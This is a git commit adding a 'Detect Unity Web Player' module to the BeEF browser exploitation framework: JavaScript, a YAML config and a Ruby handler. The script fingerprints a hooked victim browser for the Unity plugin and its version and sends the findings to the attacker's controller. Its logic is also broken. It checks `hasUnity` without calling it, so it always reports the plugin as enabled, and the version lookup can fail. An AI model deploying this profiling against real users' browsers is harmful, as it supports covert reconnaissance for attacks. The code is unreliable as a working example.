Module: Detect Unity Web Player

This commit is contained in:
gcatt
2013-10-15 15:47:47 +02:00
parent 8e6751611d
commit d4c69f2bfd
3 changed files with 89 additions and 0 deletions

View File

@@ -0,0 +1,60 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var hasUnity = function() {
// Internet Explorer
if ( beef.browser.isIE() ) {
try {
var unity_test = new ActiveXObject('UnityWebPlayer.UnityWebPlayer.1');
} catch (e) { }
if ( unity_test ) {
return true;
}
// Not Internet Explorer
} else if ( navigator.mimeTypes && navigator.mimeTypes["application/vnd.unity"] ) {
if ( navigator.mimeTypes["application/vnd.unity"].enabledPlugin &&
navigator.plugins &&
navigator.plugins["Unity Player"] ) {
return true;
}
}
return false;
}
if ( hasUnity ) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is enabled");
if ( !beef.browser.isIE() ) {
var unityRegex = /Unity Web Player version (.*). \(c\)/g;
var match = unityRegex.exec(navigator.plugins["Unity Player"].description);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity version = "+ match[1]);
}
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is not enabled");
}
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
Detect_unity:
enable: true
category: "Browser"
name: "Detect Unity Web Player"
description: "Detects Unity Web Player."
authors: ["gcattani"]
target:
working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_unity < BeEF::Core::Command
def post_execute
content = {}
content['unity'] = @datastore['unity']
save content
end
end